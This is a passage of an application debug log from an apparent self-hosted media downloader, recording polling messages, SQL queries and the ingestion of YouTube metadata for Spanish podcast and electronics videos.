22:22:48.474 [debug] Current batch of media processed. Will check again in 1000ms 22:22:48.523 [debug] Current batch of media processed. Will check again in 1000ms 22:22:49.475 [debug] Current batch of media processed. Will check again in 1000ms 22:22:49.524 [debug] Current batch of media processed. Will check again in 1000ms 22:22:50.476 [debug] Current batch of media processed. Will check again in 1000ms 22:22:50.525 [debug] Current batch of media processed. Will check again in 1000ms 22:22:51.179 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:51.477 [debug] Current batch of media processed. Will check again in 1000ms 22:22:51.526 [debug] Current batch of media processed. Will check again in 1000ms 22:22:52.478 [debug] Current batch of media processed. Will check again in 1000ms 22:22:52.527 [debug] Current batch of media processed. Will check again in 1000ms 22:22:53.479 [debug] Current batch of media processed. Will check again in 1000ms 22:22:53.528 [debug] Current batch of media processed. Will check again in 1000ms 22:22:54.480 [debug] Current batch of media processed. Will check again in 1000ms 22:22:54.529 [debug] Current batch of media processed. Will check again in 1000ms 22:22:55.481 [debug] Current batch of media processed. Will check again in 1000ms 22:22:55.530 [debug] Current batch of media processed. Will check again in 1000ms 22:22:56.482 [debug] Current batch of media processed. Will check again in 1000ms 22:22:56.531 [debug] Current batch of media processed. Will check again in 1000ms 22:22:57.483 [debug] Current batch of media processed. Will check again in 1000ms 22:22:57.532 [debug] Current batch of media processed. Will check again in 1000ms 22:22:58.484 [debug] Current batch of media processed. Will check again in 1000ms 22:22:58.534 [debug] Current batch of media processed. Will check again in 1000ms 22:22:59.485 [debug] Current batch of media processed. Will check again in 1000ms 22:22:59.535 [debug] Current batch of media processed. Will check again in 1000ms 22:23:00.098 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:00.486 [debug] Current batch of media processed. Will check again in 1000ms 22:23:00.536 [debug] Current batch of media processed. Will check again in 1000ms 22:23:01.487 [debug] Current batch of media processed. Will check again in 1000ms 22:23:01.537 [debug] Current batch of media processed. Will check again in 1000ms 22:23:02.488 [debug] Current batch of media processed. Will check again in 1000ms 22:23:02.538 [debug] Current batch of media processed. Will check again in 1000ms 22:23:03.489 [debug] Current batch of media processed. Will check again in 1000ms 22:23:03.539 [debug] Current batch of media processed. Will check again in 1000ms 22:23:04.490 [debug] Current batch of media processed. Will check again in 1000ms 22:23:04.540 [debug] Current batch of media processed. Will check again in 1000ms 22:23:05.491 [debug] Current batch of media processed. Will check again in 1000ms 22:23:05.541 [debug] Current batch of media processed. Will check again in 1000ms 22:23:06.492 [debug] Current batch of media processed. Will check again in 1000ms 22:23:06.542 [debug] Current batch of media processed. Will check again in 1000ms 22:23:07.493 [debug] Current batch of media processed. Will check again in 1000ms 22:23:07.543 [debug] Current batch of media processed. Will check again in 1000ms 22:23:08.494 [debug] Current batch of media processed. Will check again in 1000ms 22:23:08.544 [debug] Current batch of media processed. Will check again in 1000ms 22:23:09.495 [debug] Current batch of media processed. Will check again in 1000ms 22:23:09.545 [debug] Current batch of media processed. Will check again in 1000ms 22:23:10.496 [debug] Current batch of media processed. Will check again in 1000ms 22:23:10.546 [debug] Current batch of media processed. Will check again in 1000ms 22:23:11.497 [debug] Current batch of media processed. Will check again in 1000ms 22:23:11.547 [debug] Current batch of media processed. Will check again in 1000ms 22:23:12.498 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep. 1️⃣8️⃣: Entrevistamos a Sam Altman🧬\n\n✨Hacemos mayoría de edad y hemos conseguido en exclusiva una entrevista a Sam Altman... ( bueno a su alter ego embebido en ChatGPT) 😉, David García Martínez y yo tenemos el placer de entrevistar al modo avanzado de ChatGPT!\n\nSi no tienes una versión de pago de chatgpt no sabes lo que es el modo avanzado de voz... hoy os lo enseñamos y vais a flipar... yo sigo haciéndolo y ya he hablado horas con el o con ella... y todavía sigue haciéndolo.\n\nEscuchar como habla, escuchar como respira, escuchar como ríe, escuchar como empatiza, escuchar como miente.... (piadosamente.... pero lo hace.. )\n\nNuevamente un capitulo especial, con cosas que estamos seguros te sorprenderán.\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n#chatgpt #ia #samaltman #tecnologia #chatgptpro", "duration" => 636, "filename" => "/downloads/music/IA mí QUÉ/EP 18: Entrevistando a ChatGPT.m4a", "id" => "yZXwgPaqYXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yZXwgPaqYXY", "playlist_index" => 32, "timestamp" => 1751612609, "title" => "EP 18: Entrevistando a ChatGPT", "upload_date" => "20250704"} 22:23:12.499 [debug] QUERY OK source="sources" db=0.6ms idle=738.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:23:12.500 [debug] QUERY OK source="sources" db=0.4ms idle=739.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:23:12.501 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=739.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-04 07:03:29Z], 2] 22:23:12.503 [debug] QUERY OK source="media_items" db=1.3ms idle=740.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep. 1️⃣8️⃣: Entrevistamos a Sam Altman🧬\n\n✨Hacemos mayoría de edad y hemos conseguido en exclusiva una entrevista a Sam Altman... ( bueno a su alter ego embebido en ChatGPT) 😉, David García Martínez y yo tenemos el placer de entrevistar al modo avanzado de ChatGPT!\n\nSi no tienes una versión de pago de chatgpt no sabes lo que es el modo avanzado de voz... hoy os lo enseñamos y vais a flipar... yo sigo haciéndolo y ya he hablado horas con el o con ella... y todavía sigue haciéndolo.\n\nEscuchar como habla, escuchar como respira, escuchar como ríe, escuchar como empatiza, escuchar como miente.... (piadosamente.... pero lo hace.. )\n\nNuevamente un capitulo especial, con cosas que estamos seguros te sorprenderán.\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n#chatgpt #ia #samaltman #tecnologia #chatgptpro", "EP 18: Entrevistando a ChatGPT", "22f24b6f-5eaa-4c37-a2bb-3ff28c308022", 636, false, "yZXwgPaqYXY", "https://www.youtube.com/watch?v=yZXwgPaqYXY", 32, "/downloads/music/IA mí QUÉ/EP 18: Entrevistando a ChatGPT.m4a", false, false, false, 2, [], 98, ~U[2025-07-04 07:03:29Z], ~U[2026-02-07 21:23:12Z], ~U[2026-02-07 21:23:12Z], "#IAMIQUE 👉🏼 Ep. 1️⃣8️⃣: Entrevistamos a Sam Altman🧬\n\n✨Hacemos mayoría de edad y hemos conseguido en exclusiva una entrevista a Sam Altman... ( bueno a su alter ego embebido en ChatGPT) 😉, David García Martínez y yo tenemos el placer de entrevistar al modo avanzado de ChatGPT!\n\nSi no tienes una versión de pago de chatgpt no sabes lo que es el modo avanzado de voz... hoy os lo enseñamos y vais a flipar... yo sigo haciéndolo y ya he hablado horas con el o con ella... y todavía sigue haciéndolo.\n\nEscuchar como habla, escuchar como respira, escuchar como ríe, escuchar como empatiza, escuchar como miente.... (piadosamente.... pero lo hace.. )\n\nNuevamente un capitulo especial, con cosas que estamos seguros te sorprenderán.\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n#chatgpt #ia #samaltman #tecnologia #chatgptpro", "EP 18: Entrevistando a ChatGPT", 636, false, "yZXwgPaqYXY", "https://www.youtube.com/watch?v=yZXwgPaqYXY", "/downloads/music/IA mí QUÉ/EP 18: Entrevistando a ChatGPT.m4a", false, 2, ~U[2025-07-04 07:03:29Z]] 22:23:12.503 [debug] QUERY OK source="sources" db=0.3ms idle=410.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:23:12.504 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:12.505 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1332] 22:23:12.505 [debug] Current batch of media processed. Will check again in 1000ms 22:23:12.548 [debug] Current batch of media processed. Will check again in 1000ms 22:23:13.506 [debug] Current batch of media processed. Will check again in 1000ms 22:23:13.549 [debug] Current batch of media processed. Will check again in 1000ms 22:23:14.507 [debug] Current batch of media processed. Will check again in 1000ms 22:23:14.550 [debug] Current batch of media processed. Will check again in 1000ms 22:23:15.508 [debug] Current batch of media processed. Will check again in 1000ms 22:23:15.551 [debug] Current batch of media processed. Will check again in 1000ms 22:23:16.509 [debug] Current batch of media processed. Will check again in 1000ms 22:23:16.552 [debug] Current batch of media processed. Will check again in 1000ms 22:23:17.510 [debug] Current batch of media processed. Will check again in 1000ms 22:23:17.553 [debug] Current batch of media processed. Will check again in 1000ms 22:23:18.511 [debug] Current batch of media processed. Will check again in 1000ms 22:23:18.554 [debug] Current batch of media processed. Will check again in 1000ms 22:23:19.512 [debug] Current batch of media processed. Will check again in 1000ms 22:23:19.555 [debug] Current batch of media processed. Will check again in 1000ms 22:23:20.513 [debug] Current batch of media processed. Will check again in 1000ms 22:23:20.556 [debug] Current batch of media processed. Will check again in 1000ms 22:23:21.181 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:21.514 [debug] Current batch of media processed. Will check again in 1000ms 22:23:21.557 [debug] Current batch of media processed. Will check again in 1000ms 22:23:22.515 [debug] Current batch of media processed. Will check again in 1000ms 22:23:22.558 [debug] Current batch of media processed. Will check again in 1000ms 22:23:23.516 [debug] Current batch of media processed. Will check again in 1000ms 22:23:23.559 [debug] Current batch of media processed. Will check again in 1000ms 22:23:24.517 [debug] Current batch of media processed. Will check again in 1000ms 22:23:24.560 [debug] Current batch of media processed. Will check again in 1000ms 22:23:25.518 [debug] Current batch of media processed. Will check again in 1000ms 22:23:25.561 [debug] Current batch of media processed. Will check again in 1000ms 22:23:26.519 [debug] Current batch of media processed. Will check again in 1000ms 22:23:26.562 [debug] Current batch of media processed. Will check again in 1000ms 22:23:27.520 [debug] Current batch of media processed. Will check again in 1000ms 22:23:27.563 [debug] Current batch of media processed. Will check again in 1000ms 22:23:28.521 [debug] Current batch of media processed. Will check again in 1000ms 22:23:28.564 [debug] Current batch of media processed. Will check again in 1000ms 22:23:29.522 [debug] Current batch of media processed. Will check again in 1000ms 22:23:29.565 [debug] Current batch of media processed. Will check again in 1000ms 22:23:30.523 [debug] Current batch of media processed. Will check again in 1000ms 22:23:30.566 [debug] Current batch of media processed. Will check again in 1000ms 22:23:31.524 [debug] Current batch of media processed. Will check again in 1000ms 22:23:31.567 [debug] Current batch of media processed. Will check again in 1000ms 22:23:32.525 [debug] Current batch of media processed. Will check again in 1000ms 22:23:32.568 [debug] Current batch of media processed. Will check again in 1000ms 22:23:33.526 [debug] Current batch of media processed. Will check again in 1000ms 22:23:33.569 [debug] Current batch of media processed. Will check again in 1000ms 22:23:34.527 [debug] Current batch of media processed. Will check again in 1000ms 22:23:34.570 [debug] Current batch of media processed. Will check again in 1000ms 22:23:35.528 [debug] Current batch of media processed. Will check again in 1000ms 22:23:35.571 [debug] Current batch of media processed. Will check again in 1000ms 22:23:36.529 [debug] Current batch of media processed. Will check again in 1000ms 22:23:36.572 [debug] Current batch of media processed. Will check again in 1000ms 22:23:37.530 [debug] Current batch of media processed. Will check again in 1000ms 22:23:37.573 [debug] Current batch of media processed. Will check again in 1000ms 22:23:38.531 [debug] Current batch of media processed. Will check again in 1000ms 22:23:38.574 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Os presento la estación de soldadura KSGER T12 que he comprado para ir sustituyendo a la mia que ya es muy viejecita. Y con las mismas le hacemos una modificación para que la punta del soldador esté conectada a tierra.\n\n#soldador #t12 #ksger #hokku #gnd #diyelectronics #hamradio #radioaficionados\n\nContenido del video\n00:00 - Presentación\n00:34 - Intro canal\n00:52 - Desembalando\n02:35 - Conexión a Tierra\n06:32 - Modificación para Tierra\n10:19 - Las puntas T12\n11:36 - Primer encendido\n15:00 - El soporte\n17:25 - Los menus\n24:50 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1560, "filename" => "/downloads/music/ea3grn/147 - ESTACION SOLDADURA KSGER T12 Y MODIFICACION A TIERRA.m4a", "id" => "cfsaVi9YjnM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cfsaVi9YjnM", "playlist_index" => 34, "timestamp" => 1740074427, "title" => "147 - ESTACION SOLDADURA KSGER T12 Y MODIFICACION A TIERRA", "upload_date" => "20250220"} 22:23:38.575 [debug] QUERY OK source="sources" db=0.5ms idle=1434.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:23:38.576 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=815.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:23:38.577 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=816.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-20 18:00:27Z], 3] 22:23:38.579 [debug] QUERY OK source="media_items" db=1.0ms idle=817.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Os presento la estación de soldadura KSGER T12 que he comprado para ir sustituyendo a la mia que ya es muy viejecita. Y con las mismas le hacemos una modificación para que la punta del soldador esté conectada a tierra.\n\n#soldador #t12 #ksger #hokku #gnd #diyelectronics #hamradio #radioaficionados\n\nContenido del video\n00:00 - Presentación\n00:34 - Intro canal\n00:52 - Desembalando\n02:35 - Conexión a Tierra\n06:32 - Modificación para Tierra\n10:19 - Las puntas T12\n11:36 - Primer encendido\n15:00 - El soporte\n17:25 - Los menus\n24:50 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "147 - ESTACION SOLDADURA KSGER T12 Y MODIFICACION A TIERRA", "d06c8ba3-0b21-49d9-b3cd-d1a63014a803", 1560, false, "cfsaVi9YjnM", "https://www.youtube.com/watch?v=cfsaVi9YjnM", 34, "/downloads/music/ea3grn/147 - ESTACION SOLDADURA KSGER T12 Y MODIFICACION A TIERRA.m4a", false, false, false, 3, [], 98, ~U[2025-02-20 18:00:27Z], ~U[2026-02-07 21:23:38Z], ~U[2026-02-07 21:23:38Z], "Os presento la estación de soldadura KSGER T12 que he comprado para ir sustituyendo a la mia que ya es muy viejecita. Y con las mismas le hacemos una modificación para que la punta del soldador esté conectada a tierra.\n\n#soldador #t12 #ksger #hokku #gnd #diyelectronics #hamradio #radioaficionados\n\nContenido del video\n00:00 - Presentación\n00:34 - Intro canal\n00:52 - Desembalando\n02:35 - Conexión a Tierra\n06:32 - Modificación para Tierra\n10:19 - Las puntas T12\n11:36 - Primer encendido\n15:00 - El soporte\n17:25 - Los menus\n24:50 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "147 - ESTACION SOLDADURA KSGER T12 Y MODIFICACION A TIERRA", 1560, false, "cfsaVi9YjnM", "https://www.youtube.com/watch?v=cfsaVi9YjnM", "/downloads/music/ea3grn/147 - ESTACION SOLDADURA KSGER T12 Y MODIFICACION A TIERRA.m4a", false, 3, ~U[2025-02-20 18:00:27Z]] 22:23:38.580 [debug] QUERY OK source="sources" db=0.6ms idle=437.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:23:38.580 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:38.581 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1359] 22:23:38.582 [debug] Current batch of media processed. Will check again in 1000ms 22:23:39.532 [debug] Current batch of media processed. Will check again in 1000ms 22:23:39.582 [debug] Current batch of media processed. Will check again in 1000ms 22:23:40.533 [debug] Current batch of media processed. Will check again in 1000ms 22:23:40.583 [debug] Current batch of media processed. Will check again in 1000ms 22:23:41.534 [debug] Current batch of media processed. Will check again in 1000ms 22:23:41.584 [debug] Current batch of media processed. Will check again in 1000ms 22:23:42.535 [debug] Current batch of media processed. Will check again in 1000ms 22:23:42.585 [debug] Current batch of media processed. Will check again in 1000ms 22:23:43.536 [debug] Current batch of media processed. Will check again in 1000ms 22:23:43.586 [debug] Current batch of media processed. Will check again in 1000ms 22:23:44.537 [debug] Current batch of media processed. Will check again in 1000ms 22:23:44.587 [debug] Current batch of media processed. Will check again in 1000ms 22:23:45.538 [debug] Current batch of media processed. Will check again in 1000ms 22:23:45.588 [debug] Current batch of media processed. Will check again in 1000ms 22:23:46.539 [debug] Current batch of media processed. Will check again in 1000ms 22:23:46.589 [debug] Current batch of media processed. Will check again in 1000ms 22:23:47.540 [debug] Current batch of media processed. Will check again in 1000ms 22:23:47.590 [debug] Current batch of media processed. Will check again in 1000ms 22:23:48.541 [debug] Current batch of media processed. Will check again in 1000ms 22:23:48.591 [debug] Current batch of media processed. Will check again in 1000ms 22:23:49.542 [debug] Current batch of media processed. Will check again in 1000ms 22:23:49.592 [debug] Current batch of media processed. Will check again in 1000ms 22:23:50.543 [debug] Current batch of media processed. Will check again in 1000ms 22:23:50.593 [debug] Current batch of media processed. Will check again in 1000ms 22:23:51.184 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:51.544 [debug] Current batch of media processed. Will check again in 1000ms 22:23:51.594 [debug] Current batch of media processed. Will check again in 1000ms 22:23:52.545 [debug] Current batch of media processed. Will check again in 1000ms 22:23:52.595 [debug] Current batch of media processed. Will check again in 1000ms 22:23:53.546 [debug] Current batch of media processed. Will check again in 1000ms 22:23:53.596 [debug] Current batch of media processed. Will check again in 1000ms 22:23:54.547 [debug] Current batch of media processed. Will check again in 1000ms 22:23:54.597 [debug] Current batch of media processed. Will check again in 1000ms 22:23:55.548 [debug] Current batch of media processed. Will check again in 1000ms 22:23:55.598 [debug] Current batch of media processed. Will check again in 1000ms 22:23:56.549 [debug] Current batch of media processed. Will check again in 1000ms 22:23:56.599 [debug] Current batch of media processed. Will check again in 1000ms 22:23:57.550 [debug] Current batch of media processed. Will check again in 1000ms 22:23:57.600 [debug] Current batch of media processed. Will check again in 1000ms 22:23:58.551 [debug] Current batch of media processed. Will check again in 1000ms 22:23:58.601 [debug] Current batch of media processed. Will check again in 1000ms 22:23:59.552 [debug] Current batch of media processed. Will check again in 1000ms 22:23:59.602 [debug] Current batch of media processed. Will check again in 1000ms 22:24:00.100 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:00.553 [debug] Current batch of media processed. Will check again in 1000ms 22:24:00.604 [debug] Current batch of media processed. Will check again in 1000ms 22:24:01.554 [debug] Current batch of media processed. Will check again in 1000ms 22:24:01.604 [debug] Current batch of media processed. Will check again in 1000ms 22:24:02.555 [debug] Current batch of media processed. Will check again in 1000ms 22:24:02.605 [debug] Current batch of media processed. Will check again in 1000ms 22:24:03.556 [debug] Current batch of media processed. Will check again in 1000ms 22:24:03.606 [debug] Current batch of media processed. Will check again in 1000ms 22:24:04.557 [debug] Current batch of media processed. Will check again in 1000ms 22:24:04.607 [debug] Current batch of media processed. Will check again in 1000ms 22:24:05.558 [debug] Current batch of media processed. Will check again in 1000ms 22:24:05.608 [debug] Current batch of media processed. Will check again in 1000ms 22:24:06.559 [debug] Current batch of media processed. Will check again in 1000ms 22:24:06.609 [debug] Current batch of media processed. Will check again in 1000ms 22:24:07.560 [debug] Current batch of media processed. Will check again in 1000ms 22:24:07.610 [debug] Current batch of media processed. Will check again in 1000ms 22:24:08.561 [debug] Current batch of media processed. Will check again in 1000ms 22:24:08.611 [debug] Current batch of media processed. Will check again in 1000ms 22:24:09.562 [debug] Current batch of media processed. Will check again in 1000ms 22:24:09.612 [debug] Current batch of media processed. Will check again in 1000ms 22:24:10.563 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep. 1️⃣7️⃣ : Ibupronefo o Paracetamol🧬\n\nLo deberiamos haber titulado Farmacogenética, pero necesitamos llamar tu atencion y que nos escuches. Es importante esta ciencia, es muy importante por que puede depender hasta tu vida de ella.\n\nHoy David García Martínez y yo os vamos a explicar con algún dato la importancia de esta ciencia que dentro de unos años... la tendremos integrada en la SS. (10 o 15 años calculo.... pero para mas informacion ... ve el video!!!).\n\nSi este tema os interesa también podemos hacer un directo donde podemos traer a dos expertos en la materia.... mis queridos compañeros de lifely by Origen Genetics Lucía Murillo y Mario Pimienta Calderón que nos hablen de ello un poquito mas técnico pero siempre entendible!!!\n\nBueno dejamos descansar la IA por una semana y nos centramos en tu salud en este capitulo, esperamos que os guste!\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n#IAMIQUE #Origen #ChatGPT #IAGen #GenAI #Genetics #Genetica #Farmacogenics #Farmacogenetica", "duration" => 665, "filename" => "/downloads/music/IA mí QUÉ/EP.17 - 